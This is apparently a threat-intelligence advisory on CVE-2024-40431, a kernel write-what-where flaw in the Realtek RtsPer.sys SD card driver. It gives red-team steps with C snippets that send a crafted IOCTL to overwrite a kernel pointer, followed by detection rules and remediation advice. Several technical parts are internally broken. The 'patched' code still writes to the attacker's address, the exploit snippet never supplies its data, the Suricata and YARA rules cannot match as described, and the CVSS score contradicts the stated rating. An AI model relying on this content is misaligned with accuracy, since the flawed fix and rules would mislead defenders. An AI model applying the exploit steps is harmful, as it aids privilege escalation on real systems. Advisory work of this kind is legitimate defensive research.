CVE-2024-40431

Executive Summary

CVE-2024-40431 is a critical vulnerability in the Realtek SD card reader driver (RtsPer.sys) affecting Windows systems. The flaw stems from a lack of input validation in the handling of the IOCTL_SCSI_PASS_THROUGH control code, allowing a low-privileged attacker to write to predictable kernel memory locations. This can lead to arbitrary kernel memory corruption, privilege escalation, and potential system compromise. The vulnerability has a CVSS score of 0.0 (pending official scoring), but based on the impact, it is assessed as critical. No public exploit code or proof-of-concept is currently available, but the risk is significant due to the widespread use of Realtek SD card readers in laptops and desktops.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a driver-level issue in the Windows ecosystem, specifically affecting the Realtek SD card reader driver. The supply chain risk is limited to the distribution of the vulnerable driver through Windows Update, OEM system images, or driver packs.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs only low-privileged user access.
• User Interaction (UI): None (N) - No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) - The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) - Kernel memory may contain sensitive data.
• Integrity (I): High (H) - Arbitrary kernel memory writes can corrupt system integrity.
• Availability (A): High (H) - Memory corruption can lead to system crashes.

Threat Level: Critical. The ability to write to predictable kernel memory locations from a low-privileged context enables privilege escalation to SYSTEM and potential kernel-level rootkits.

Deep Dive & Mechanics

The vulnerability resides in the Realtek SD card reader driver (RtsPer.sys). The driver exposes a device object that handles IOCTL (Input/Output Control) requests from user-mode applications. Specifically, the IOCTL_SCSI_PASS_THROUGH control code is used to pass SCSI commands to the SD card reader hardware.

The flaw is in the lack of input validation on the user-supplied buffer. When processing the IOCTL, the driver does not properly validate the size or content of the input buffer, allowing an attacker to specify arbitrary kernel memory addresses as targets for write operations. The driver then writes data from the user-supplied buffer to these kernel addresses without proper sanitization.

This is a classic case of a "write-what-where" vulnerability. The attacker can craft a malicious IOCTL request that specifies:

• Where: A predictable kernel memory address (e.g., a function pointer in the kernel's dispatch table or a process token structure).
• What: Arbitrary data to be written to that address.

By overwriting a kernel function pointer with a pointer to attacker-controlled code, the attacker can achieve arbitrary code execution in kernel mode, bypassing all security mechanisms.

Vulnerable vs. Patched Code

The vulnerable code path is in the RtsPer.sys driver's IOCTL handler for IOCTL_SCSI_PASS_THROUGH. The exact code is proprietary, but the logic can be inferred:

Vulnerable (pseudocode):

NTSTATUS DriverIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    if (ioctlCode == IOCTL_SCSI_PASS_THROUGH) {
        // No validation of inputBuffer or inputBufferLength
        PSCSI_PASS_THROUGH spt = (PSCSI_PASS_THROUGH)inputBuffer;
        // Directly uses user-supplied addresses
        WriteToKernelMemory(spt->DataBufferOffset, spt->DataBufferLength, spt->DataBuffer);
    }
    return STATUS_SUCCESS;
}

Patched (pseudocode):

NTSTATUS DriverIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    if (ioctlCode == IOCTL_SCSI_PASS_THROUGH) {
        // Validate input buffer size
        if (inputBufferLength < sizeof(SCSI_PASS_THROUGH)) {
            Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_BUFFER_TOO_SMALL;
        }
        PSCSI_PASS_THROUGH spt = (PSCSI_PASS_THROUGH)inputBuffer;
        // Validate that the target address is within a valid range (e.g., device memory)
        if (!IsValidTargetAddress(spt->DataBufferOffset)) {
            Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_INVALID_PARAMETER;
        }
        // Use a safe copy mechanism with bounds checking
        RtlCopyMemory(spt->DataBufferOffset, spt->DataBuffer, spt->DataBufferLength);
    }
    return STATUS_SUCCESS;
}

The patch adds input validation to ensure the buffer size is sufficient and that the target address is within an allowed range (e.g., device-specific memory, not arbitrary kernel memory).

Exploitation & Lab Setup

Red Team

Objective: Escalate privileges from a low-privileged user to SYSTEM.

Prerequisites:

• Local access to a Windows system with the vulnerable Realtek SD card reader driver (version < 10.0.26100.21374).
• A low-privileged user account.
• Knowledge of the target kernel memory layout (e.g., via !process 0 0 in WinDbg or using NtQuerySystemInformation).

Exploitation Steps:

1. Identify the vulnerable driver:

   • Check the driver version: driverquery /v | findstr RtsPer
   • If version < 10.0.26100.21374, proceed.

2. Open a handle to the device:

   HANDLE hDevice = CreateFile(L"\\\\.\\RtsPer", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
   

3. Craft the IOCTL payload:

   • The payload must include a SCSI_PASS_THROUGH structure with a DataBufferOffset pointing to a kernel address to overwrite (e.g., a function pointer in nt!HalDispatchTable).
   • The DataBuffer contains the new value (e.g., a pointer to shellcode).

   typedef struct _SCSI_PASS_THROUGH {
       USHORT Length;
       UCHAR ScsiStatus;
       UCHAR PathId;
       UCHAR TargetId;
       UCHAR Lun;
       UCHAR CdbLength;
       UCHAR SenseInfoLength;
       UCHAR DataIn;
       ULONG DataTransferLength;
       ULONG TimeOutValue;
       PVOID DataBufferOffset;  // Target kernel address
       ULONG DataBufferLength;
       UCHAR Cdb[16];
   } SCSI_PASS_THROUGH, *PSCSI_PASS_THROUGH;
   
   SCSI_PASS_THROUGH spt = {0};
   spt.Length = sizeof(SCSI_PASS_THROUGH);
   spt.DataBufferOffset = (PVOID)0xFFFFF800`01234567; // Example kernel address
   spt.DataBufferLength = 8;
   // DataBuffer is the user-supplied data to write
   ULONG_PTR data = 0x4141414141414141; // New value
   

4. Send the IOCTL:

   DWORD bytesReturned;
   DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &spt, sizeof(spt), NULL, 0, &bytesReturned, NULL);
   

5. Trigger the exploit:

   • The write occurs immediately upon IOCTL completion.
   • If the target address is a function pointer, the next call to that function will execute the attacker's code.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection:

• Monitor for unusual IOCTL calls to \\.\RtsPer from non-privileged processes.
• Look for DeviceIoControl calls with IOCTL_SCSI_PASS_THROUGH (0x4D004) from suspicious processes.
• Use Sysmon Event ID 11 (FileCreate) to detect driver file modifications.
• Enable Driver Signature Enforcement (DSE) to prevent loading of unsigned drivers.

Hunting:

• Search for processes that open handles to \\.\RtsPer and then perform memory writes.
• Use ETW (Event Tracing for Windows) to log kernel driver operations.
• Analyze crash dumps for signs of kernel memory corruption (e.g., BugCheck 0x109).

Mitigation:

• Apply the vendor patch immediately.
• If patching is not possible, disable the SD card reader driver via Device Manager or group policy.
• Restrict local user privileges to prevent low-privileged users from loading drivers or accessing device objects.

Indicators of Compromise (IOCs)

• File: RtsPer.sys with version < 10.0.26100.21374
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\RtsPer (service key)
• Device Object: \Device\RtsPer
• IOCTL Code: 0x4D004 (IOCTL_SCSI_PASS_THROUGH)
• Behavior: Unusual DeviceIoControl calls from non-system processes to \\.\RtsPer
• Memory: Kernel memory writes to predictable addresses (e.g., HalDispatchTable, KeServiceDescriptorTable)

Detection Engineering

YARA Rule

rule CVE_2024_40431_Realtek_SD_Driver {
    meta:
        description = "Detects vulnerable Realtek SD card reader driver (RtsPer.sys) version < 10.0.26100.21374"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:EXAMPLE_HASH"
    strings:
        $driver_name = "RtsPer.sys" nocase
        $version_string = /10\.0\.\d{5}\.\d{5}/ nocase
    condition:
        $driver_name and not $version_string
}

Sigma Rule

title: Suspicious IOCTL Call to Realtek SD Card Reader Driver
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DeviceIoControl calls with IOCTL_SCSI_PASS_THROUGH to the Realtek SD card reader driver from non-system processes.
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
    category: process_access
detection:
    selection:
        EventID: 10
        TargetObject: '\Device\RtsPer'
        CallTrace: '*DeviceIoControl*'
    filter:
        Image: 'C:\Windows\System32\*'
    condition: selection and not filter
falsepositives:
    - Legitimate SD card management software
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-40431 Realtek SD Card Driver IOCTL Exploit Attempt"; content:"|4D 00 04 00|"; offset:0; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update the Realtek SD card reader driver to version 10.0.26100.21374 or later. This can be done via Windows Update or by downloading the latest driver from the Realtek website.
2. Workaround: If patching is not possible, disable the SD card reader driver:
   • Open Device Manager.
   • Expand "Memory technology devices" or "Disk drives".
   • Right-click the Realtek SD card reader and select "Disable device".
3. Mitigation Controls:
   • Enable Driver Signature Enforcement (DSE) to prevent loading of unsigned drivers.
   • Use Windows Defender Application Control (WDAC) to block untrusted drivers.
   • Restrict local user privileges; do not grant low-privileged users access to device objects.
4. Monitoring: Implement the detection rules provided in this report to identify exploitation attempts.
5. Incident Response: If exploitation is suspected, isolate the system, collect memory and driver artifacts, and analyze for kernel-level compromise.

Valters IT
DevSecOps & Cyber Threat Intelligence